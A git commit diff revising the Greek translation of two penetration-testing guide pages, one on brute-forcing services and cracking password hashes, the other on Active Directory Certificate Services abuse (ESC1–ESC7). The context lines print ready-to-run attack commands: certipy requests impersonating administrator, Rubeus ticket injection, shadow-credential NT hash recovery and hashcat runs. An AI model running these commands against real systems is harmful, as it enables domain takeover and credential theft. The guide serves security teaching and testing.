Translated ['src/generic-hacking/brute-force.md', 'src/windows-hardening

This commit is contained in:
Translator 2025-06-24 08:33:07 +00:00
parent 774db32422
commit f3091878b3
2 changed files with 251 additions and 57 deletions

View File

@ -19,7 +19,7 @@
- [**https://many-passwords.github.io/**](https://many-passwords.github.io)
- [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Create your own Dictionaries**
## **Δημιουργήστε τα δικά σας Λεξικά**
Βρείτε όσο το δυνατόν περισσότερες πληροφορίες σχετικά με τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν:
@ -278,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
Για να χρησιμοποιήσετε **oracle_login** με **patator** πρέπει να **εγκαταστήσετε**:
Για να χρησιμοποιήσετε το **oracle_login** με το **patator** πρέπει να **εγκαταστήσετε**:
```bash
pip3 install cx_Oracle --upgrade
```
@ -402,7 +402,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Αδύναμα κλειδιά SSH / Προβλέψιμος PRNG Debian
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για την παραγωγή κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ)
@ -478,9 +478,9 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Γνωστή επίθεση zip με καθαρό κείμενο
#### Γνωστή επίθεση σε zip με απλό κείμενο
Πρέπει να γνωρίζετε το **καθαρό κείμενο** (ή μέρος του καθαρού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\
Πρέπει να γνωρίζετε το **απλό κείμενο** (ή μέρος του απλού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\
Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) από τη σελίδα των εκδόσεων.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
@ -592,7 +592,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
### Open Office Pwd Protected Column
Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης μπορείτε να την αποδεσμεύσετε:
Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποδεσμεύσετε:
- **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα
- Για να **αφαιρέσετε** το **χειροκίνητα**:
@ -629,7 +629,7 @@ hash-identifier
### **Εργαλεία Δημιουργίας Λιστών Λέξεων**
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας διαδρομών πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
@ -646,7 +646,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
- **Επίθεση λίστας λέξεων** (`-a 0`) με κανόνες
**Hashcat** έρχεται ήδη με έναν **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
**Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
@ -708,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Σπάζοντας τους Hashes του Linux - αρχείο /etc/shadow
Σπάζοντας τους Hashes του Linux - /etc/shadow αρχείο
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

View File

@ -17,18 +17,18 @@
- **Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.**
- **Η έγκριση του διευθυντή δεν απαιτείται.**
- **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.**
- **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτούν δικαιώματα εγγραφής.**
- **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας στους χρήστες με χαμηλά προνόμια να αποκτούν δικαιώματα εγγραφής.**
- **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:**
- Οι ταυτοί Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται.
- **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στο Certificate Signing Request (CSR) επιτρέπεται από το πρότυπο:**
- Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι καθορίζοντας το SAN σε ένα CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί ένα SAN από τον αιτούντα, αυτό υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό του SAN από τον αιτούντα.
- Τα αναγνωριστικά Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται.
- **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στην Αίτηση Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:**
- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί μια SAN από τον αιτούντα, αυτό υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει την καθορισμένη SAN από τον αιτούντα.
> [!CAUTION]
> Η ρύθμιση που περιγράφεται επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιοδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel.
> Η ρύθμιση που περιγράφεται επιτρέπει στους χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιαδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel.
Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών φιλοξενίας κατά τη διάρκεια της διαδικασίας, από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών φιλοξενίας κατά την εκτέλεση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτή την επιλογή ενεργοποιεί μια προειδοποίηση, κάτι που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένη τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID αυθεντικοποίησης.
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτή την επιλογή ενεργοποιεί μια προειδοποίηση, κάτι που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID αυθεντικοποίησης.
### Abuse
@ -47,9 +47,9 @@ certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.loc
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για τη δημιουργία του PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για να παραχθεί το PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Η καταμέτρηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, συγκεκριμένα αυτών που δεν απαιτούν έγκριση ή υπογραφές, που διαθέτουν Client Authentication ή Smart Card Logon EKU, και με την ενεργοποιημένη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο LDAP query:
Η καταμέτρηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, συγκεκριμένα εκείνων που δεν απαιτούν έγκριση ή υπογραφές, που διαθέτουν Client Authentication ή Smart Card Logon EKU, και με την ενεργοποιημένη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο LDAP query:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
@ -91,15 +91,15 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
- Η απαίτηση για έγκριση διευθυντή παραλείπεται.
- Καμία απαίτηση για εξουσιοδοτημένες υπογραφές.
- Ο ασφάλειας περιγραφέας του προτύπου πιστοποιητικού είναι υπερβολικά επιτρεπτικός, χορηγώντας δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων προσώπων.
- Το πρότυπο πιστοποιητικού περιλαμβάνει την Certificate Request Agent EKU, επιτρέποντας την αίτηση άλλων προτύπων πιστοποιητικών εκ μέρους άλλων κύριων.
**Requirements 2:**
- Η Enterprise CA χορηγεί δικαιώματα εγγραφής σε χρήστες με χαμηλά προνόμια.
- Η έγκριση διευθυντή παρακάμπτεται.
- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Έκδοσης Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU.
- Η έκδοση του σχήματος του προτύπου είναι είτε 1 είτε υπερβαίνει το 2, και καθορίζει μια Απαίτηση Πολιτικής Εφαρμογής που απαιτεί την Certificate Request Agent EKU.
- Μια EKU που ορίζεται στο πρότυπο πιστοποιητικού επιτρέπει την αυθεντικοποίηση τομέα.
- Περιορισμοί για τους εγγραφείς δεν εφαρμόζονται στην CA.
- Περιορισμοί για τους agents εγγραφής δεν εφαρμόζονται στην CA.
### Abuse
@ -117,7 +117,7 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Οι **χρήστες** που επιτρέπεται να **αποκτήσουν** ένα **πιστοποιητικό εκπροσώπου εγγραφής**, τα πρότυπα στα οποία οι εκπρόσωποι εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο εκπρόσωπος εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας με το δεξί κουμπί πάνω στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Εκπρόσωποι Εγγραφής”.
Οι **χρήστες** που επιτρέπεται να **αποκτούν** ένα **πιστοποιητικό εκπροσώπου εγγραφής**, τα πρότυπα στα οποία οι εκπρόσωποι εγγραφής επιτρέπεται να εγγραφούν, και οι **λογαριασμοί** εκ μέρους των οποίων μπορεί να ενεργήσει ο εκπρόσωπος εγγραφής μπορούν να περιοριστούν από τις επιχειρησιακές CA. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` **snap-in**, **κλικάροντας δεξί κλικ στην CA**, **επιλέγοντας Ιδιότητες**, και στη συνέχεια **μεταβαίνοντας** στην καρτέλα “Εκπρόσωποι Εγγραφής”.
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CA είναι να “**Μη περιορίζετε τους εκπροσώπους εγγραφής**.” Όταν η περιοριστική ρύθμιση για τους εκπροσώπους εγγραφής ενεργοποιείται από τους διαχειριστές, ρυθμίζοντας την σε “Περιορίστε τους εκπροσώπους εγγραφής,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιτρεπτική. Επιτρέπει την πρόσβαση σε **Όλους** για να εγγραφούν σε όλα τα πρότυπα ως οποιοσδήποτε.
@ -131,8 +131,8 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
Σημαντικές άδειες που ισχύουν για τα πρότυπα πιστοποιητικών περιλαμβάνουν:
- **Ιδιοκτήτης:** Παρέχει έμμεσο έλεγχο πάνω στο αντικείμενο, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών.
- **FullControl:** Ενεργοποιεί πλήρη εξουσία πάνω στο αντικείμενο, συμπεριλαμβανομένης της ικανότητας να αλλάξει οποιαδήποτε χαρακτηριστικά.
- **Ιδιοκτήτης:** Παρέχει έλεγχο επί του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών.
- **FullControl:** Ενεργοποιεί πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της ικανότητας να αλλάξει οποιαδήποτε χαρακτηριστικά.
- **WriteOwner:** Επιτρέπει την αλλαγή του ιδιοκτήτη του αντικειμένου σε έναν κύριο υπό τον έλεγχο του επιτιθέμενου.
- **WriteDacl:** Επιτρέπει την προσαρμογή των ελέγχων πρόσβασης, ενδεχομένως παρέχοντας στον επιτιθέμενο FullControl.
- **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων αντικειμένου.
@ -143,9 +143,9 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
Το ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να καταστεί το πρότυπο ευάλωτο στο ESC1.
ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό μπορεί για παράδειγμα να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του προτύπου πιστοποιητικού ώστε να καταστεί το πρότυπο ευάλωτο στο ESC1.
Όπως μπορούμε να δούμε στο παραπάνω μονοπάτι, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει την νέα άκρη `AddKeyCredentialLink` προς τον `JOHNPC`. Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτή την επίθεση επίσης, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ορίστε μια μικρή ματιά στην εντολή `shadow auto` του Certipy για να ανακτήσετε το NT hash του θύματος.
Όπως βλέπουμε στο παραπάνω μονοπάτι, μόνο ο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει την νέα άκρη `AddKeyCredentialLink` προς τον `JOHNPC`. Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω εφαρμόσει αυτή την επίθεση επίσης, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ορίστε μια μικρή ματιά στην εντολή `shadow auto` του Certipy για να ανακτήσετε το NT hash του θύματος.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
@ -166,9 +166,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
Το εκτενές δίκτυο αλληλοσυνδεδεμένων σχέσεων βασισμένων σε ACL, το οποίο περιλαμβάνει αρκετά αντικείμενα πέρα από τα πρότυπα πιστοποιητικών και την αρχή πιστοποίησης, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, που μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως το S4U2Self ή το S4U2Proxy.
- Το αντικείμενο υπολογιστή AD του διακομιστή CA, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως το S4U2Self ή S4U2Proxy.
- Ο διακομιστής RPC/DCOM του διακομιστή CA.
- Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπα Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής.
- Οποιοδήποτε κατώτερο αντικείμενο ή κοντέινερ AD εντός της συγκεκριμένης διαδρομής κοντέινερ `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, κοντέινερ και αντικείμενα όπως το κοντέινερ Πρότυπων Πιστοποιητικών, το κοντέινερ Αρχών Πιστοποίησης, το αντικείμενο NTAuthCertificates και το Κοντέινερ Υπηρεσιών Εγγραφής.
Η ασφάλεια του συστήματος PKI μπορεί να παραβιαστεί αν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία.
@ -178,7 +178,7 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
Το θέμα που συζητείται στην [**ανάρτηση της CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) αναφέρεται επίσης στις επιπτώσεις της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφεται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Αρχή Πιστοποίησης (CA), επιτρέπει την προσθήκη **καθορισμένων από τον χρήστη τιμών** στο **εναλλακτικό όνομα υποκειμένου** για **οποιοδήποτε αίτημα**, συμπεριλαμβανομένων εκείνων που κατασκευάζονται από το Active Directory®. Ως εκ τούτου, αυτή η διάταξη επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε προτύπου** έχει ρυθμιστεί για **αυθεντικοποίηση** τομέα—συγκεκριμένα εκείνων που είναι ανοιχτά για εγγραφή **μη προνομιούχων** χρηστών, όπως το πρότυπο Χρήστη. Ως αποτέλεσμα, μπορεί να εξασφαλιστεί ένα πιστοποιητικό, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως διαχειριστής τομέα ή **οποιαδήποτε άλλη ενεργή οντότητα** εντός του τομέα.
**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Όνομα Τιμή”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς οι πληροφορίες λογαριασμού είναι ενσωματωμένες**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
**Σημείωση**: Η προσέγγιση για την προσθήκη **εναλλακτικών ονομάτων** σε ένα Αίτημα Υπογραφής Πιστοποιητικού (CSR), μέσω του επιχειρήματος `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενο ως “Ζεύγη Όνομα-Τιμή”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς είναι ενσωματωμένες οι πληροφορίες λογαριασμού**—εντός ενός χαρακτηριστικού πιστοποιητικού, αντί για μια επέκταση.
### Κατάχρηση
@ -225,7 +225,7 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
#### Κατάχρηση
Η κατοχή δικαιωμάτων **`ManageCA`** σε μια αρχή πιστοποίησης επιτρέπει στον κύριο να χειρίζεται ρυθμίσεις απομακρυσμένα χρησιμοποιώντας PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί η καθορισμός SAN σε οποιοδήποτε πρότυπο, μια κρίσιμη πτυχή της κλιμάκωσης τομέα.
Η κατοχή δικαιωμάτων **`ManageCA`** σε μια αρχή πιστοποίησης επιτρέπει στον κύριο να χειρίζεται ρυθμίσεις απομακρυσμένα χρησιμοποιώντας PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτρέπεται η καθορισμός SAN σε οποιοδήποτε πρότυπο, μια κρίσιμη πτυχή της κλιμάκωσης τομέα.
Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης του cmdlet **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση αλληλεπίδραση με το GUI.
@ -252,7 +252,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Explanation
> [!WARNING]
> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελέσουν την **επίθεση ESC6**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **Manage CA**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε τις περισσότερες περιβαλλόντων που έχουν διορθωθεί λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022.
> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελέσουν την **επίθεση ESC6**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινήσει η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **Manage CA**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε πολλές διορθωμένες περιβάλλοντα λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022.
Επομένως, μια άλλη επίθεση παρουσιάζεται εδώ.
@ -262,7 +262,7 @@ Perquisites:
- **`Manage Certificates`** permission (μπορεί να παραχωρηθεί από **`ManageCA`**)
- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από **`ManageCA`**)
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` αι_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**.
Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης **`Manage CA`** αι_ **`Manage Certificates`** μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**.
#### Abuse
@ -322,23 +322,23 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Εξήγηση
> [!NOTE]
